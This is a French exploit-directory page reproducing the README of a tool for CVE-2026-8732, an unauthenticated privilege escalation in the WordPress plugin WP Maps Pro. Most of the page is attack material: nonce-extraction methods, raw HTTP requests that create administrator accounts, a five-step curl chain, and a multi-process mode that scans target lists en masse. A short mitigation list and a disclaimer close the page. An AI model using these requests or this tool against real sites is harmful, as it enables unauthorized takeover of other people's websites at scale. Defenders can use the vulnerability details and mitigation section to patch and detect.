Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-8732 — Exploitation automatisée en 8 phases pour CVE-2026-8732, une élévation de privilèges non authentifiée dans WP Maps Pro ≤ 6.1.0. Utilise multiprocessing et asyncio pour scanner les cibles, extraire des nonces et créer des comptes administrateurs. | Kitploit
Outils/GitHubGitHub/zycoder0day/cve-2026-8732
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHubzycoder0day/cve-2026-8732

CVE-2026-8732

Exploitation automatisée en 8 phases pour CVE-2026-8732, une élévation de privilèges non authentifiée dans WP Maps Pro ≤ 6.1.0. Utilise multiprocessing et asyncio pour scanner les cibles, extraire des nonces et créer des comptes administrateurs.

Voir le dépôt
2il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

⚔️ CVE-2026-8732

WP Maps Pro ≤ 6.1.0 — Escalade de privilèges non authentifiée

CVSS 9.8 CRITICAL CWE-306 Python 3.8+ License MIT

Automatisation d'exploitation en 8 phases | Multiprocessing + Asyncio | Création d'admin vérifiée


🎯 À propos de la vulnérabilité

Le plugin WordPress WP Maps Pro version ≤ 6.1.0 présente une vulnérabilité d'élévation de privilèges sans authentification. Un attaquant sans aucune information d'identification peut créer un compte administrateur et prendre le contrôle du site.

La vulnérabilité provient de la fonctionnalité "Temporary Access" conçue pour l'équipe de support du fournisseur FlipperCode, mais exposée au public sans protection adéquate.


🔥 Trois faiblesses associées

root@kitploit:~
┌──────────────────────────────────────────────────────────────┐
│  FAIBLESSE 1 — Point d'accès exposé sans authentification  │
│  ▸ L'action AJAX est enregistrée avec wp_ajax_nopriv_       │
│  ▸ N'importe qui peut y accéder sans connexion              │
└──────────────────────┬───────────────────────────────────────┘
                       │
┌──────────────────────▼───────────────────────────────────────┐
│  FAIBLESSE 2 — Nonce divulgué sur les pages publiques       │
│  ▸ L'objet wpgmp_local.nonce est intégré dans chaque page   │
│  ▸ L'attaquant peut extraire le nonce depuis le code source │
└──────────────────────┬───────────────────────────────────────┘
                       │
┌──────────────────────▼───────────────────────────────────────┐
│  FAIBLESSE 3 — Aucune vérification des droits d'accès      │
│  ▸ La fonction de rappel ne vérifie que le nonce            │
│  ▸ Pas de current_user_can() — aucune autre défense         │
└──────────────────────────────────────────────────────────────┘

⚡ Chaîne d'attaque — 8 phases

root@kitploit:~
  ┌─────────┐   ┌──────────┐   ┌──────────┐   ┌──────────┐
  │ PHASE 1 │──▶│ PHASE 2  │──▶│ PHASE 3  │──▶│ PHASE 4  │
  │ RESOLVE │   │ CHECK WP │   │ DETECT   │   │ VERSION  │
  │ HTTPS?  │   │ wp-content│   │ PLUGIN   │   │ ≤6.1.0? │
  │ HTTP?   │   │ wp-login  │   │ wpgmp_   │   │ WAF?     │
  └─────────┘   └──────────┘   └──────────┘   └─────┬────┘
                                                      │ RENTAN
                                                      ▼
  ┌──────────────────────────────────────────────────────────┐
  │                 PHASE 5 — EXTRACTION DU NONCE             │
  │                                                          │
  │  GROUPE A (API)       GROUPE B (Contenu)   GROUPE C     │
  │  ├─ M1: REST pages    ├─ M4: Sitemap XML   └─ M7: Slug  │
  │  ├─ M2: REST search   ├─ M5: Homepage links    Brute    │
  │  └─ M3: rest_route    └─ M6: RSS/Atom feed   Force     │
  │                                                          │
  │  Target: wpgmp_local.nonce = "fc-call-nonce"             │
  └──────────────────────────┬───────────────────────────────┘
                             │ NONCE DITEMUKAN
                             ▼
  ┌──────────┐   ┌──────────┐   ┌──────────┐
  │ PHASE 6  │──▶│ PHASE 7  │──▶│ PHASE 8  │
  │ EXPLOIT  │   │ VERIFY   │   │ AJOUT    │
  │ POST AJAX│   │ Magic URL│   │ ADMIN    │
  │ nonce+   │   │ Cookie   │   │ PERMANENT│
  │ check_   │   │ login    │   │ REST API │
  │ temp=false│   │ check    │   │ WP-Admin │
  └──────────┘   └──────────┘   │ Form     │
                                       │
                                       ▼
                               ✅ ADMIN CRÉÉ
                               Login: wp_xxxx / pass
                               Role: administrator

Détail de chaque phase


🛠️ Méthodes d'attaque

Méthode 1 : Exploitation principale — Création d'admin sans authentification

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=wpgmp_temp_access_ajax
nonce=<EKSTRAKSI_NONCE>
check_temp=false

Réponse si vulnérable :

root@kitploit:~
{"url":"https://target.com/?wpgmp_access=abc123def456"}

Cette URL magique fournit une connexion automatique en tant que fc_user_XXXXX (rôle : administrateur).

Méthode 2 : Ajout d'admin permanent via l'API REST

root@kitploit:~
POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-WP-Nonce: <REST_NONCE>
Content-Type: application/json

{
  "username": "wp_xxxxxxxx",
  "email": "user@localhost",
  "password": "Str0ng!Pass#2026",
  "roles": ["administrator"]
}

Méthode 3 : Ajout d'admin via le formulaire WP-Admin (secondaire)

root@kitploit:~
POST /wp-admin/user-new.php HTTP/1.1
Host: target.com
Cookie: [admin_cookies]
Content-Type: application/x-www-form-urlencoded

user_login=wp_xxxxxxxx
email=user@localhost
pass1=Str0ng!Pass#2026
pass2=Str0ng!Pass#2026
pw_weak=1                       <-- CLÉ : confirmation de mot de passe faible
role=administrator
createuser=Add New User
_wpnonce_create-user=<NONCE>

Point clé : pw_weak=1 doit être inclus — WordPress rejette les mots de passe faibles sans ce paramètre.


📐 Architecture

root@kitploit:~
CVE-2026-8732.py
│
├── 📦 NonceFinder — Chercheur de nonce avec 7 méthodes
│   ├── Groupe A (API): M1 REST pages, M2 REST search, M3 rest_route
│   ├── Groupe B (Contenu): M4 Sitemap, M5 Homepage links, M6 RSS feed
│   └── Groupe C (Paksa): M7 Slug brute force (30+ slugs courants)
│
├── ⚔️ Exploiter — Moteur d'exploitation 8 phases
│   ├── resolve()           → Phase 1 : Sélection du protocole
│   ├── check_wp()           → Phase 2 : Vérification WordPress
│   ├── detect_plugin()      → Phase 3 : Détection du plugin + nonce précoce
│   ├── detect_version()     → Phase 4 : Détection de version + WAF
│   ├── exploit()            → Phase 6 : Exploitation principale
│   ├── verify()             → Phase 7 : Vérification de la connexion admin
│   └── add_admin()          → Phase 8 : Ajout d'admin permanent
│
├── 🔧 Worker Process — Processus de travail multiprocessing
│   ├── producer()           → Lit le domaine depuis mp.Queue
│   └── consumer() (N)       → Exécute le scan parallèle
│
└── 🖥️ Scanner — Interface utilisateur
    ├── single()             → Mode cible unique (interactif)
    └── multi()              → Mode multi-cibles (massif)

Flux de données

root@kitploit:~
  targets.txt          mp.Queue (tâches)         asyncio.Queue
  ┌─────────┐    ┌─────────────────┐    ┌──────────────────┐
  │ domain1 │───▶│  domain queue   │───▶│  internal queue  │
  │ domain2 │    │  (IPC entre     │    │  (par processus) │
  │ domain3 │    │   processus)    │    └────────┬─────────┘
  │  ...    │    └─────────────────┘              │
  └─────────┘                          ┌─────────▼──────────┐
                                       │   Consommateur (N)  │
                                       │   Exploiter.scan()  │
                                       │   8 phases complètes│
                                       └─────────┬──────────┘
                                                 │
                                       ┌─────────▼──────────┐
                                       │  mp.Queue (résultats)│──▶ vuln.txt
                                       │  + JSON + TXT       │    + debug.log
                                       └────────────────────┘

🚀 Utilisation

Installation

root@kitploit:~
pip install aiohttp

Mode cible unique

root@kitploit:~
python3 CVE-2026-8732.py
root@kitploit:~
  [?] Choisir le mode :
      1. Cible unique
      2. Multi-cibles (liste de fichiers)

  > 1

  [?] Domaine cible (sans http/https) : target.com
  [?] Timeout [défaut: 15]: 15

Mode multi-cibles (massif)

root@kitploit:~
python3 CVE-2026-8732.py
root@kitploit:~
  [?] Choisir le mode :
      1. Cible unique
      2. Multi-cibles (liste de fichiers)

  > 2

  [?] Chemin du fichier cible (.txt) : targets.txt
  [?] Nombre de processus [défaut: 10] : 10
  [?] Concurrence par processus [défaut: 50] : 50
  [?] Délai d'attente par requête [défaut: 10] : 10
  [?] Fichier de sortie [défaut: vuln.txt] : vuln.txt
  [?] Mode débogage ? (y/n) [défaut: n] : y

Exemple manuel avec curl

root@kitploit:~
# ÉTAPE 1 : Extraire le nonce de la page frontale
NONCE=$(curl -sk https://target.com/ | grep -oP '"nonce"\s*:\s*"\K[a-f0-9]{10}')
echo "Nonce: $NONCE"

# ÉTAPE 2 : Envoyer la charge utile d'exploitation
RESPONSE=$(curl -sk -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=wpgmp_temp_access_ajax&nonce=$NONCE&check_temp=false")
echo "Response: $RESPONSE"

# ÉTAPE 3 : Accéder à l'URL magique pour se connecter en tant qu'admin
MAGIC_URL=$(echo $RESPONSE | python3 -c "import sys,json; print(json.load(sys.stdin)['url'])")
curl -sk -L -c cookies.txt "$MAGIC_URL"

# ÉTAPE 4 : Vérifier l'accès admin
curl -sk -b cookies.txt https://target.com/wp-admin/profile.php | grep 'id="user_login"'

# ÉTAPE 5 : Créer un admin permanent via l'API REST ou le formulaire WP-Admin

📊 Conditions d'exploitation

La création d'admin réussit SI ET SEULEMENT SI les deux conditions sont remplies :

root@kitploit:~
  ┌───────────────┐    ┌───────────────┐
  │  CONDITION 1  │ AND│  CONDITION 2  │
  │  Versi ≤6.1.0 │    │  GOLD ACTIF   │
  │               │    │               │
  └───────┬───────┘    └───────┬───────┘
          │                    │
          ▼                    ▼
  Action nopriv        WPGMP_Temp_
  masih terdaftar      Access tersedia
          │                    │
          └────────┬─────────┘
                   ▼
             ✅ ADMIN CRÉÉ
Si condition échoueRésultat
Version ≥ 6.1.1❌ CORRIGÉE — Action wp_ajax_nopriv_ supprimée
GOLD inactif⚠️ CRASH PHP — Classe WPGMP_Temp_Access inexistante

📁 Structure du fichier

root@kitploit:~
CVE-2026-8732/
├── CVE-2026-8732.py      # Script d'exploitation automatique
├── README.md              # Documentation du projet (ce fichier)
└── LICENSE                # Licence MIT

⚙️ Technologies


🛡️ Mitigation

Si vous êtes propriétaire d'un site utilisant WP Maps Pro :

  1. Mettez à jour vers la version 6.1.1 ou ultérieure — Cela corrigera la vulnérabilité
  2. Assurez-vous que le module GOLD est actif — Si GOLD est installé mais inactif, le site est dans un état vulnérable (crash lors de l'exploitation, mais l'action malveillante reste exposée)
  3. Installez un WAF (Wordfence / Sucuri) pour bloquer les requêtes POST vers admin-ajax.php
  4. Désactivez le point d'accès users de l'API REST — Il expose la liste des utilisateurs
  5. Limitez les tentatives de connexion — Empêchez le brute-force

📜 Licence

root@kitploit:~
Licence MIT

Copyright (c) 2026 XENON1337

L'autorisation est accordée, gratuitement, à toute personne obtenant une copie
de ce logiciel et des fichiers de documentation associés (le "Logiciel"), de
traiter le Logiciel sans restriction, y compris sans limitation les droits
d'utilisation, de copie, de modification, de fusion, de publication, de
distribution, de sous-licence et/ou de vente de copies du Logiciel, et de
permettre aux personnes à qui le Logiciel est fourni de le faire, sous réserve
des conditions suivantes :

L'avis de copyright ci-dessus et cet avis d'autorisation doivent être inclus dans
toutes les copies ou parties substantielles du Logiciel.

LE LOGICIEL EST FOURNI "EN L'ÉTAT", SANS GARANTIE D'AUCUNE SORTE, EXPRESSE OU
IMPLICITE, Y COMPRIS MAIS SANS S'Y LIMITER LES GARANTIES DE QUALITÉ MARCHANDE,
D'ADÉQUATION À UN USAGE PARTICULIER ET DE NON-CONTREFAÇON. EN AUCUN CAS, LES
AUTEURS OU TITULAIRES DU COPYRIGHT NE POURRONT ÊTRE TENUS RESPONSABLES DE TOUTE
RÉCLAMATION, DOMMAGES OU AUTRE RESPONSABILITÉ, QUE CE SOIT DANS LE CADRE D'UNE
ACTION CONTRACTUELLE, DÉLICTUELLE OU AUTRE, DÉCOULANT DE OU EN RELATION AVEC LE
LOGICIEL OU L'UTILISATION OU D'AUTRES INTERACTIONS AVEC LE LOGICIEL.

⚠️ Avertissement

CET OUTIL EST UNIQUEMENT POUR UN USAGE LÉGITIME. Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test. Toute utilisation sans autorisation est ILLÉGALE et NON ÉTHIQUE. L'auteur décline toute responsabilité en cas d'utilisation abusive de cet outil.


Créé par XENON1337

Télécharger l’outil
InformationDétail
CVECVE-2026-8732
CVSS9.8 (CRITIQUE) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
PluginWP Maps Pro (wp-google-map-gold)
FournisseurFlipperCode
Version affectée≤ 6.1.0
Version corrigée6.1.1
TypeMissing Authentication for Critical Function (CWE-306)
ImpactCréation d'admin sans authentification → contrôle total du site
Auteur du PoCXENON1337
PhaseNomFonctionRequêtes
1ResolveSélection HTTPS/HTTP en parallèle1
2Check WPVérifier que la cible est WordPress0
3Detect PluginVérifier l'indicateur WP Maps sur 3 couches0-4
4Version + WAFLire readme.txt / CSS ?ver= + détection WAF1
5Extraction du nonce7 méthodes de recherche en 3 groupes parallèles0-150
6ExploitationPOST admin-ajax.php → création d'un compte admin temporaire1
7VérificationAccès URL magique → confirmation session admin2
8Ajout AdminREST API (principal) + formulaire WP-Admin (secondaire)4
ComposantTechnologieFonction
Client HTTPaiohttpRequêtes HTTP asynchrones avec regroupement de connexions
Parallélismeasyncio + multiprocessingMulti-processus + async par processus
File d'attente IPCmp.QueueCommunication entre le processus principal et les travailleurs
CookieCookieJar(unsafe=True)Gère les redirections inter-domaines
Timeoutasyncio.wait_forDélai d'attente par cible (25 secondes)